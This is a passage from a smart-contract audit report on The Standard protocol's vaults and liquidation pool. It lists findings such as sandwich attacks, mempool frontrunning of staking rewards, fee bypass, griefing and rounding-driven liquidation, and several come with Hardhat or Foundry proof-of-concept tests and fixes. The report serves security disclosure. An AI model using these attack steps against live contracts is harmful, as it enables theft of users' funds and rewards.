  2. Attacker sees that swap transaction on the mempool and frontruns it by burning 10 EURO on that vault.

Intermediate vault state: minted: 90, collateral: 120 token A ($120)

Therefore, when the SmartVaultV3.swap(A, B, 10) transaction is executed, the on-chain calculated minAmountOut will be zero. This occurs because the required collateral ($108) is smaller than the collateral minus the swap amount ($110), opening up the possibility for this swap to be sandwiched.

It is important to note that due to the overcollateralization of the vaults (for instance, the collateralization ratio is set to 120% in the test suite), the collateral ratio will always be greater than 1. As a result, for every EURO burned, the reduction in minAmountOut is more substantial. This means that the reduction in the minAmountOut value exceeds the value spent to burn EURO, creating a potential for the sandwich attack to be profitable. Therefore an attacker can gain more value from the sandwich than the EURO tokens spent to decrease the target vault's collateral. However, the exact profit will depend on the Uniswap pool balances and how much the attacker can unbalance the pool during the sandwich.

Impact

By burning tokens on target users' vault, the attacker can reduce the minAmounOut from swaps, allowing them to sandwich and steal part of the collateral involved in the swap.

Tools Used

Manual Review

Recommended Mitigation

Consider allowing only the vault owner to burn EURO tokens.

Low Risk Findings

L-01. Removal of approved token from token manager can lead to unintended liquidation of vaults

Submitted by 0x9527, nmirchev8, SovaSlava, Cosine, Bauchibred, t0x1c, 0xCiphky, greatlake, 0xAraj, matej, Aamirusmani1552, flacko, n0kto, inzinko, Ciara and Gio. Selected submission by: matej.

Summary

Since accepted tokens list is prone to change, maybe even reduction, there is a flaw in the protocol design. Removal of accepted tokens as collateral leads to unintended liquidation of vaults.

Vulnerability Details

When a user provides collateral to a vault, he expects it to remain there as collateral and the amount to stay safe, unless of course the vault is liquidated by a drop in value of collateral. However the vault can be liquidated by protocols' own doing by removing an asset from the TokenManager accepted tokens list.

It may seem that this is out-of-scope since it concerns the TokenManager contract but since the SmartVault HEAVILY relies on the acceptedTokens list, I believe it to be a legitimate issue on SmartVault contract.

Impact

User loses all of his funds in the vault since they are liquidated. Severity will be put as LOW since certain unlikely scenarios have to happen in order for this to happen.

Tools Used

Manual review

Recommendations

Implement emergency protocol feature to send back asset that is intended to be removed from TokenManager to vault owners.

L-02. costInEuros calculation will incur precision loss due to division before multiplication

Submitted by ICP, InAllHonesty, Thembani, Daniel526, ravikiranweb3, ke1caM, Hajime, nuthan2x, eeshenggoh, fakemonkgin, t0x1c, ACai, Tigerfrake, naruto, datamcrypto, lian886, zigtur, kaysoft, Lalanda, Cryptor, Auditism, bhilare71, KrisRenZo, cats, Prabhas, developerjordy, KiteWeb3, Albahaca, SAAJ, Bube, 0xgreywolf, 0xrs, n0kto, y0ng0p3, TumeloCrypto, dimulski, PTolev, 0xsandy, psb01, gkrastenov, ni8mare, djxploit, Aamirusmani1552, billoBaggeBilleyan, 1nc0gn170, slvDev, Ciara and Gio. Selected submission by: 0xgreywolf.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L220-L221

Summary

In LiquidationPool::distributeAssets(), costInEuros calculation result will be rounded down due to division before multiplication.

Vulnerability Details

Since exchange rates are involved, round downs will always occur. Here's code for quick reference.

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
    * _hundredPC / _collateralRate;

Impact

These little losses will pile up in proportion the number of users and longevity of the contract.

Tools Used

Manual Review

Recommendations

Change the code to this such that multiplication is done first before division.

-- uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
--    * _hundredPC / _collateralRate;

++ uint256 costInEuros = (_portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC) / (uint256(priceEurUsd) * _collateralRate);

or this

-- uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
--    * _hundredPC / _collateralRate;

++ uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC / uint256(priceEurUsd) / _collateralRate;

L-03. Anyone with TST tokens can monitor the mempool and frontrun mint/burn functions to get EUROs rewards without even staking.

Submitted by greatlake, t0x1c, carrotsmuggler, alexbabits, georgishishkov, asuiTouthang, mojitoauditor, 0xbtk, thankyou, Tricko, emrekocak, 0x996, DarkTower , 0xrs, PTolev, n0kto, Cryptor, EVDocPhantom, FalconHoof. Selected submission by: asuiTouthang.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L190C12-L192C14

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L183C9-L183C42

Summary

To incentivize TST stakers in the LiquidationPool.sol contract there is a function distributeFees in the LiquidationPoolManager which distribute EUROs to the stakers. If a user tries to frontrun this by quickly staking TST tokens and steal rewards this will not work since the only way to stake TST is by calling LiquidationPool::increasePosition which protects from frontrunnning by calling ILiquidationPoolManager(manager).distributeFees(); which will transfer all rewards before he could stake his TST tokens.

Vulnerability Details

However an attacker can still exploit the rewards by frontrunning not the LiquidationPoolManager::distributeFees but the SmartVaultV3's mint or burn functions.

Lets imagine a scenario where:

  1. An individual with high networth uses the Standard to borrow 10000000e18(10 million EUROs) by calling his SmartVault's mint function. If we look at the mint function we see uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC(); which is actually sent to the LiquidationPoolManager which is the distributed EUROs to the stakers. EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee); protocol here is the LiquidationPoolManager contract. See: Contract requires the protocol address to be a payable address. This address will be set to the LiquidationPoolManager, which has a receive function from audit details.

So the fees sent will be fee = 10000000 * 500 / 1e5 = 50,000 EUROs which is worth the attack though he can still do it with smaller amounts if he wants to. Or could even be greater amounts.

  1. before this fees could be sent to the LiquidationPoolManager the attacker quickly frontruns the transaction by calling the LiquidationPool::increasePosition and stake a large amount of TST tokens which will be added to the pendingStakes.

  2. now since he called LiquidationPool::increasePosition the current rewards will be distributed which still doesn't include the 50,000 EUROs from the whale. After his transaction the mint transaction gets executed and there is currently new 50,000 EUROs in rewards from mint fees.

  3. Attacker calls the LiquidationPoolManager::distributeFees after diluting the rewards of honest stakers and gets his share of EUROs rewards and unstake his tokens. An attacker may have to wait one day to unstake his TST tokens but this is not a problem for him because he gets back all his TST tokens + the EUROs rewards stolen.

  4. He can sell his EUROs for and buy more TST tokens and repeat the attack with larger amount of TST tokens.

This is possible because we reward even the pending stakes and assume that rewards could not be mainpulated by frontrunning because we call ILiquidationPoolManager(manager).distributeFees(); everytime a stake is increased.

Impact

Loss of EUROs rewards for innocent stakers.

Tools Used

Recommendations

Instead of rewarding both the currently staked and the pendingStakes only reward the currently staked users so that we require atleast one day for stakers to recieve rewards and cannot be manipulated by frontrunning.

L-04. Lack of Minimum Amount Check in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap Can Result in Loss of Fees

Submitted by t0x1c, 0xSwahili, Cosine, dimulski, asuiTouthang, datamcrypto, Auditism, djxploit, Aitor, SaharAP, n0kto, SolSaver. Selected submission by: n0kto.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L170

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L161

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L215

Description

The absence of a minimum requirement check for _amount in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap allows a user to send a very small amount, effectively bypassing fees.

Impact

This could result in a loss of fees for the protocol. However, the likelihood of this scenario is low, given that an attacker would need to spend a significant amount of gas for multiple transactions, making it less impactful.

It's important to note that if any fees rate is decreased in the future, it could exacerbate the problem.

Proof of Concept

Foundry PoC
    function testMintWeakAmountForNoFee() public {
        vm.startPrank(vaultUser);
        USDs.transfer(address(vault), 100e18);

        // Loop to mint without fees
        for (uint i; i < 20; i++) {
            vault.mint(vaultUser, 18);
        }

        // Check the USDs balance of the manager
        assertEq(EUROs.balanceOf(address(liquidationPoolManager)), 0);

        vm.stopPrank();
    }

    function testBurnWeakAmountForNoFee() public {
        vm.startPrank(vaultUser);
        USDs.transfer(address(vault), 100e18);

        vault.mint(vaultUser, 10e18);

        // Loop to burn without fees
        for (uint i; i < 20; i++) {
            vault.burn(18);
        }

        // Check the USDs balance of the manager, removing minting fees
        assertEq(EUROs.balanceOf(address(liquidationPoolManager)) - 5e16, 0);

        vm.stopPrank();
    }

Recommended Mitigation

Implement a minimum threshold check in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap. Example: require(_amount > 1e8).

L-05. Griefer can deny holders of their fair share of fees

Submitted by t0x1c.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPoolManager.sol#L35-L40

Summary

LiquidationPoolManager::distributeFees() can be called by anyone to distribute the _feesForPool to the holders. However, this distribution happens only when \_feesForPool > 0. With the current poolFeePercentage at 50% (50000) and HUNDRED_PC at 100000, a Griefer can call distributeFees() whenever eurosToken.balanceOf(address(this)) = 1, not allowing it to accumulate it to a higher value:

LiquidationPoolManager.sol#L35-L40

    function distributeFees() public {
        IERC20 eurosToken = IERC20(EUROs);
@--->   uint256 _feesForPool = eurosToken.balanceOf(address(this)) * poolFeePercentage / HUNDRED_PC;
@--->   if (_feesForPool > 0) {
            eurosToken.approve(pool, _feesForPool);
            LiquidationPool(pool).distributeFees(_feesForPool);
        }
@--->   eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
    }
\begin{equation} \begin{split} \_feesForPool &= (eurosToken.balanceOf(address(this)) * poolFeePercentage) \div {HUNDRED\_PC} \\ &= (1 * 50000) \div {100000} \\ &= 50000 \div {100000} \\ &= 0 \text{ (rounding down by solidity)} \end{split} \end{equation}

This causes the eurosToken.balanceOf(address(this)) of 1 wei to be sent to the protocol, effectively resetting the counting.
Note that this attack can cause further harm if in future poolFeePercentage is set to something like 30% (30000), where the griefer can call the function as long as the eurosToken.balanceOf(address(this)) is less than 4.

\begin{equation} \begin{split} \_feesForPool &= (eurosToken.balanceOf(address(this)) * poolFeePercentage) \div {HUNDRED\_PC} \\ &= (3 * 30000) \div {100000} \\ &= 90000 \div {100000} \\ &= 0 \text{ (rounding down by solidity)} \end{split} \end{equation}

Note that this issue may arise also without a griefer, under the normal flow of operations. Users calling LiquidationPool::increasePosition() and LiquidationPool::decreasePosition() functions also internally call ILiquidationPoolManager(manager).distributeFees() which could give rise to an identical issue.

    function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
        require(_tstVal > 0 || _eurosVal > 0);
        consolidatePendingStakes();
@---->  ILiquidationPoolManager(manager).distributeFees();
        if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
        if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
        pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
        addUniqueHolder(msg.sender);
    }

    function decreasePosition(uint256 _tstVal, uint256 _eurosVal) external {
        consolidatePendingStakes();
@---->  ILiquidationPoolManager(manager).distributeFees();
        require(_tstVal <= positions[msg.sender].TST && _eurosVal <= positions[msg.sender].EUROs, "invalid-decr-amount");
        if (_tstVal > 0) {
            IERC20(TST).safeTransfer(msg.sender, _tstVal);
            positions[msg.sender].TST -= _tstVal;
        }
        if (_eurosVal > 0) {
            IERC20(EUROs).safeTransfer(msg.sender, _eurosVal);
            positions[msg.sender].EUROs -= _eurosVal;
        }
        if (empty(positions[msg.sender])) deletePosition(positions[msg.sender]);
    }

Vulnerability Details

Under ideal conditions, a 'fair' user will let the eurosToken.balanceOf(address(this)) accumulate to a higher value and then eventually call the LiquidationPoolManager::distributeFees() function, benefitting the holders and sweeping any leftover amount into the protocol.
This is thwarted by any griefer who sees an opportunity to deny the holders of their rightful fees.

PoC

Apply the following patch inside file test/liquidationPool.js and run via npx hardhat test --grep "pays no fee due to rounding-down" to see the test pass:

diff --git a/test/liquidationPool.js b/test/liquidationPool2.js
index 8dd8580..c9e68d6 100644
--- a/test/liquidationPool.js
+++ b/test/liquidationPool2.js
@@ -146,6 +146,37 @@ describe('LiquidationPool', async () => {
       ({_position} = await LiquidationPool.position(user3.address));
       expect(_position.EUROs).to.equal(ethers.utils.parseEther('25'));
     });
+
+    it('pays no fee due to rounding-down', async () => {
+      expect(await EUROs.balanceOf(Protocol.address)).to.equal(0);
+
+      let tstStakeValue = ethers.utils.parseEther('100');
+      await TST.mint(user1.address, tstStakeValue.mul(2));
+      await TST.connect(user1).approve(LiquidationPool.address, tstStakeValue.mul(2));
+
+      await LiquidationPool.connect(user1).increasePosition(tstStakeValue, 0);
+      
+      let fees = 1;
+      await EUROs.mint(LiquidationPoolManager.address, fees);
+      
+      await LiquidationPoolManager.distributeFees();
+      
+      // @audit-info : no fee received by user1, all sweeped up by protocol
+      let { _position } = await LiquidationPool.position(user1.address);
+      expect(_position.EUROs).to.equal(0);
+      expect(await EUROs.balanceOf(Protocol.address)).to.equal(fees);
+      
+      // second round
+      await LiquidationPool.connect(user1).increasePosition(tstStakeValue, 0);
+      await EUROs.mint(LiquidationPoolManager.address, fees);
+      await LiquidationPoolManager.distributeFees();
+
+      // @audit-info : again, no fee received by user1, as the fee did not get a chance to accumulate
+      // @audit : had the fee accumulated correctly, user1 would have received 50% of 2 = 1 wei
+      ({ _position } = await LiquidationPool.position(user1.address));
+      expect(_position.EUROs).to.equal(0);
+      expect(await EUROs.balanceOf(Protocol.address)).to.equal(fees * 2);
+    });
   });
 
   describe('decrease position', async () => {

Impact

  • Loss of rightful fee for the holders.

Tools Used

Manual inspection, Hardhat.

Recommendations

Do not immediately transfer the dust amount if _feesForPool is 0. Leave it there so that it can accumulate over time. Instead, add a separate access-controlled function sweepDust() which enables sweeping of any leftover dust EUROs to the protocol:

LiquidationPoolManager.sol#L33

    function distributeFees() public {
        IERC20 eurosToken = IERC20(EUROs);
        uint256 _feesForPool = eurosToken.balanceOf(address(this)) * poolFeePercentage / HUNDRED_PC;
        if (_feesForPool > 0) {
            eurosToken.approve(pool, _feesForPool);
            LiquidationPool(pool).distributeFees(_feesForPool);
+           eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
        }
-       eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
    }

+   // @audit : introduce a separate function with access control enabling recovery of any dust amount
+   function sweepDust() external onlyOwner {
+       IERC20 eurosToken = IERC20(EUROs);    
+       distributeFees();
+       eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
+   }

L-06. Users with Negligible TST Holdings Might Not Receive Their Share of EUROs Fees

Submitted by t0x1c, Daniel526, ravikiranweb3, ACai, SovaSlava, Bauer, datamcrypto, donkicha, favelanky, SAQ. Selected submission by: Daniel526.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L182-L194

Summary

The fee distribution mechanism in the provided Solidity contract may result in perceived unfairness, especially for users with negligible TST holdings. The distribution is proportional to users' TST holdings relative to the total, potentially leading to extremely small or negligible EUROs fee allocations for users with minimal contributions.

Vulnerability Details

In the distributeFees function, the EUROs fees are distributed among users based on the proportion of their TST holdings to the total TST holdings. Here is the relevant code snippet:

function distributeFees(uint256 _amount) external onlyManager {
    uint256 tstTotal = getTstTotal();
    if (tstTotal > 0) {
        IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
        for (uint256 i = 0; i < holders.length; i++) {
            address _holder = holders[i];
            positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
        }
        for (uint256 i = 0; i < pendingStakes.length; i++) {
            pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
        }
    }
}

The EUROs fees are distributed based on the proportion of a user's TST holdings to the total TST holdings. Users with negligible TST holdings may receive extremely small or no EUROs fees.

Impact

Users with negligible TST holdings might perceive the fee distribution as unfair, potentially leading to dissatisfaction and trust issues with the protocol.

Tools Used

Manual

Recommendations

Consider implementing a minimum threshold or alternative distribution model that ensures users with very small TST holdings are either ineligible for fee distribution or receive a more equitable share.

L-07. Incorrect value returned by position() function

Submitted by eeshenggoh, t0x1c, dyoff, asuiTouthang, 0xCiphky, Aamirusmani1552, n0kto. Selected submission by: t0x1c.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L88

Summary

The position() function returns incorrect value for a user's EUROs holdings when balance of LiquidationPoolManager.sol contract is greater than zero. It forgets to apply the _poolFeePercentage.

Vulnerability Details

The function is designed to let the caller know of their current EUROs position, including the yet-to-come fee still sitting in the LiquidationPoolManager contract. However, it incorrectly considers the full balance of LiquidationPoolManager instead of considering only 50% of it (the current _poolFeePercentage is 50%). This gives a wrong view to the caller.

    function position(address _holder) external view returns(Position memory _position, Reward[] memory _rewards) {
        _position = positions[_holder];
        (uint256 _pendingTST, uint256 _pendingEUROs) = holderPendingStakes(_holder);
        _position.EUROs += _pendingEUROs;
        _position.TST += _pendingTST;
@---->  if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST / getTstTotal();
        _rewards = findRewards(_holder);
    }

PoC

Apply following patch to update test/liquidationPoolManager.js and run via npx hardhat test --grep 'incorrect position function'. The test will fail since it returns 201 instead of the correct value of 101:

diff --git a/test/liquidationPoolManager.js b/test/liquidationPoolManager_position.js
index 7e0f5c2..03ef4f1 100644
--- a/test/liquidationPoolManager.js
+++ b/test/liquidationPoolManager_position.js
@@ -426,5 +426,26 @@ describe('LiquidationPoolManager', async () => {
       expect(rewardAmountForAsset(_rewards, 'WBTC')).to.equal(wbtcCollateral);
       expect(rewardAmountForAsset(_rewards, 'USDC')).to.equal(usdcCollateral);
     });
+    
+    it('incorrect position function', async () => {
+      const tstStake1 = 1;
+      const eurosStake1 = 1;
+      await TST.mint(holder1.address, tstStake1);
+      await EUROs.mint(holder1.address, eurosStake1);
+      await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
+      await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
+      let { _rewards, _position } = await LiquidationPool.position(holder1.address);
+      expect(_position.EUROs).to.equal(0);
+      await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
+      ({ _rewards, _position } = await LiquidationPool.position(holder1.address));
+      expect(_position.EUROs).to.equal(eurosStake1);
+      
+      // "mint some fee"
+      await EUROs.mint(LiquidationPoolManager.address, 200);
+      
+      ({ _rewards, _position } = await LiquidationPool.position(holder1.address));
+      // @audit : expected = existing_EUROs + 50% of fee = 1 + 50% of 200 = 101
+      expect(_position.EUROs).to.equal(101, "Incorrect position calculation");
+    });
   });
 });

Impact

This is a view function which has so far been only used in the unit tests. However, its design seems to suggest it is supposed to help holders understand their expected holdings, including prospective fees coming their way. "Prospective" because this is still in the LiquidationPoolManager.sol contract and distributeFees() is yet to be called. As such, this misleads holders about their positions based on which they may be inclined to make further incorrect decisions about withdrawal, staking etc.

Tools Used

Hardhat

Recommendations

The LiquidationPool.sol contract needs to know the values of _poolFeePercentage and HUNDRED_PC to calculate this correctly. These can either be initialized in the constructor at deployment time, or need to be passed to the position() function:

-   function position(address _holder) external view returns(Position memory _position, Reward[] memory _rewards) {
+   function position(address _holder, uint256 _poolFeePercentage, uint256 _hundred_pc) external view returns(Position memory _position, Reward[] memory _rewards) {
        _position = positions[_holder];
        (uint256 _pendingTST, uint256 _pendingEUROs) = holderPendingStakes(_holder);
        _position.EUROs += _pendingEUROs;
        _position.TST += _pendingTST;
-       if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST / getTstTotal();
+       if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST * _poolFeePercentage / (_hundred_pc * getTstTotal());
        _rewards = findRewards(_holder);
    }

L-08. User can get liquidated due to incorrect calculateMinimumAmountOut()

Submitted by t0x1c.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L206-L212

Summary

calculateMinimumAmountOut() calculations are prone to rounding-down error (almost every time). This means a user calling swap will be undercollateralized if he receives this function's returned value (later being set as the amountOutMinimum inside ISwapRouter.ExactInputSingleParams), as the swap's amountOut. He can be immediately liquidated and the user unfairly loses his assets.
The code should have checked at the end of the function whether the returned value will cause the vault to be undercollateralized.

SmartVaultV3.sol::calculateMinimumAmountOut()

    function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
        ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
        uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();                         <---------------- @audit : rounding error here.
        uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
        return collateralValueMinusSwapValue >= requiredCollateralValue ?
            0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);    <---------------- @audit : missing a check here.
    }

SmartVaultV3.sol::swap()

    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
        uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        address inToken = getSwapAddressFor(_inToken);
@---->  uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
                fee: 3000,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: _amount - swapFee,
@-------->      amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
        inToken == ISmartVaultManagerV3(manager).weth() ?
            executeNativeSwapAndFee(params, swapFee) :
            executeERC20SwapAndFee(params, swapFee);
    }

PoC

We will pick up the example from the pre-existing unit test invokes swaprouter with value for eth swap, paying fees to protocol, so that it's simpler to demonstrate. Apply the following patch to add steps to the test. Minor changes have also been made to SmartVault3.sol to enable logging inside the test:

diff --git a/contracts/SmartVaultV3.sol b/contracts/SmartVaultV3.sol
index fdc492d..7296c73 100644
--- a/contracts/SmartVaultV3.sol
+++ b/contracts/SmartVaultV3.sol
@@ -24,7 +24,7 @@ contract SmartVaultV3 is ISmartVault {
     IPriceCalculator public immutable calculator;
 
     address public owner;
-    uint256 private minted;
+    uint256 public minted;
     bool private liquidated;
 
     event CollateralRemoved(bytes32 symbol, uint256 amount, address to);
@@ -72,7 +72,7 @@ contract SmartVaultV3 is ISmartVault {
         }
     }
 
-    function maxMintable() private view returns (uint256) {
+    function maxMintable() public view returns (uint256) {
         return euroCollateral() * ISmartVaultManagerV3(manager).HUNDRED_PC() / ISmartVaultManagerV3(manager).collateralRate();
     }
 
diff --git a/test/smartVault.js b/test/smartVault.js
index 464b603..f9e39e2 100644
--- a/test/smartVault.js
+++ b/test/smartVault.js
@@ -348,17 +348,20 @@ describe('SmartVault', async () => {
       // user borrows 1200 EUROs
       const borrowValue = ethers.utils.parseEther('1200');
       await Vault.connect(user).mint(user.address, borrowValue);
+      console.log("Before Swap: is undercollateralized: %s, minted: %s, maxMintable: %s", await Vault.undercollateralised(), await Vault.minted(), await Vault.maxMintable());
+      expect(await Vault.undercollateralised()).to.eq(false);
+
       const inToken = ethers.utils.formatBytes32String('ETH');
       const outToken = ethers.utils.formatBytes32String('sUSD');
       // user is swapping .5 ETH
       const swapValue = ethers.utils.parseEther('0.5');
       const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
       // minimum collateral after swap must be €1200 (borrowed) + €6 (fee) * 1.2 (rate) = €1447.2
-      // remaining collateral not swapped: .5 ETH * $1600 = $800 = $800 / 1.06 = €754.72
-      // swap must receive at least €1320 - €754.72 = €692.48 = $734.032;
+      // remaining collateral not swapped: (1 - .5) ETH * $1600 = $800 = $800 / 1.06 = €754.72
+      // swap must receive at least €1447.2 - €754.72 = €692.48 = $734.032;
       const ethCollateralValue = swapValue.mul(DEFAULT_ETH_USD_PRICE).div(DEFAULT_EUR_USD_PRICE);
       const borrowFee = borrowValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
-      const minCollateralInUsd = borrowValue.add(borrowFee).mul(DEFAULT_COLLATERAL_RATE).div(HUNDRED_PC) // 110% of borrowed (with fee)
+      const minCollateralInUsd = borrowValue.add(borrowFee).mul(DEFAULT_COLLATERAL_RATE).div(HUNDRED_PC) // 120% of borrowed (with fee)
                                   .sub(ethCollateralValue) // some collateral will not be swapped
                                   .mul(DEFAULT_EUR_USD_PRICE).div(100000000) // convert to USD
                                   .div(BigNumber.from(10).pow(12)) // scale down because stablecoin is 6 dec
@@ -381,6 +384,20 @@ describe('SmartVault', async () => {
       expect(sqrtPriceLimitX96).to.equal(0);
       expect(txValue).to.equal(swapValue.sub(swapFee));
       expect(await protocol.getBalance()).to.equal(protocolBalance.add(swapFee));
+      
+      // @audit-info : credit the vault with `amountOutMinimum` worth of tokenOut to simulate completion of swap
+      await Stablecoin.mint(Vault.address, amountOutMinimum);
+      console.log("After Swap: is undercollateralized: %s, minted: %s, maxMintable: %s", await Vault.undercollateralised(), await Vault.minted(), await Vault.maxMintable());
+      expect(await Vault.undercollateralised()).to.eq(true);
+      
+      // @audit : vault can now be liquidated
+      await expect(VaultManager.connect(protocol).liquidateVault(1)).not.to.be.reverted;
+      const { minted, maxMintable, totalCollateralValue, collateral, liquidated } = await Vault.status();
+      expect(minted).to.equal(0);
+      expect(maxMintable).to.equal(0);
+      expect(totalCollateralValue).to.equal(0);
+      collateral.forEach(asset => expect(asset.amount).to.equal(0));
+      expect(liquidated).to.equal(true);
     });
 
     it('amount out minimum is 0 if over collateral still', async () => {

In the above test, once the swap is done, to simulate credit of the tokenOut we have credited the Vault with a value exactly equal to amountOutMinimum. We then checked if vault's liquidation was possible. Run the above via npx hardhat test --grep 'invokes swaprouter with value for eth swap, paying fees to protocol' to see the output:

  SmartVault
    swaps
Before Swap: is undercollateralized: false, minted: 1206000000000000000000, maxMintable: 1257861635220125786163
After Swap:  is undercollateralized: true,  minted: 1206000000000000000000, maxMintable: 1205999999999999999999     <-------------- rounding-down leading to undercollateralization.

We were able to liquidate the vault successfully.

Impact

  • User loses his collateral and gets liquidated due to unfavourable swap implemented by the protocol

Tools Used

Hardhat

Recommendations

  • We check for rounding-up of requiredCollateralValue.
  • We perform an "inverse-check" whether the returned value will cause the vault to be undercollateralized. If yes, increment the minimumOut variable.
    function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
        ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
        uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
+       if (requiredCollateralValue * _manager.HUNDRED_PC() < minted * _manager.collateralRate()) requiredCollateralValue++;
        uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
-       return collateralValueMinusSwapValue >= requiredCollateralValue ?
+       uint256 minOut = collateralValueMinusSwapValue >= requiredCollateralValue ?
            0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
+
+       // inverse-check
+       if (collateralValueMinusSwapValue < requiredCollateralValue) {
+           bool willGoUnder = minted > maxMintable() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount) + calculator.tokenToEur(getToken(_outTokenSymbol), minOut);
+           if(willGoUnder) minOut++; 
+       }
+
+       return minOut;
    }

L-09. Reorg attack in SmartVaultManagerV5

Submitted by ptsanev, 0xbtk. Selected submission by: 0xbtk.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultManagerV5.sol#L74

Summary

The mint function deploys a vault contract using create1. However, some of the chains (Polygon, Optimism, Arbitrum) to which the SmartVaultManagerV5 may be deployed are suspicious of the reorg attack.

Vulnerability Details

A simple scenario to demonstrate the issue:

  • Alice deploys a vault at 0x76jute98...., and then sends some collateral to it.
  • Bob sees that the network block reorg happens and front-run alice vault deployment by deploying a vault at 0x76jute98....
  • Alice transaction ended up deposited into Bob's vault.

Here -> https://polygonscan.com/blocks_forked, you may be convinced that the Polygon has in practice subject to reorgs. Even more, the reorg may be 1.5 minutes long. So, it is quite enough to create the quest and transfer funds to that address, especially when someone uses a script, and not doing it by hand.

Optimistic rollups (Optimism/Arbitrum) are also suspect to reorgs since if someone finds a fraud the blocks will be reverted, even though the user receives a confirmation and already created a quest.

Impact

Vault's are created from the SmartVaultManagerV5 via CREATE1, a malicious ward can frontrun mint() to deploy at the same address. If the deployed chain reorg, a different vault will also be deployed at the same address.

Tools Used

Manual review

Recommendations

Deploy the vault contract via create2 with salt that includes msg.sender and tokenId.

L-10. Incorrectly set version for SmartVaultV3 breaks off-chain integration

Submitted by 0x6a70, alexbabits, spacelord47, 0xRizwan, shikhar229169, MaslarovK, flacko. Selected submission by: spacelord47.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/41147c652c41489bd30953a4122a1e9d836799b1/contracts/SmartVaultV3.sol#L19

Summary

The version field(constant) in SmartVaultV3 is set to "2", when it should be "3".

Issue Details

SmartVaultV3 contract is an upgrade for previous version - SmartVaultV2, which itself is an upgrade for SmartVault. All these contracts utilize the version field for versioning. version later used in the ISmartVault.Status object, to describe current status of a SmartVault.

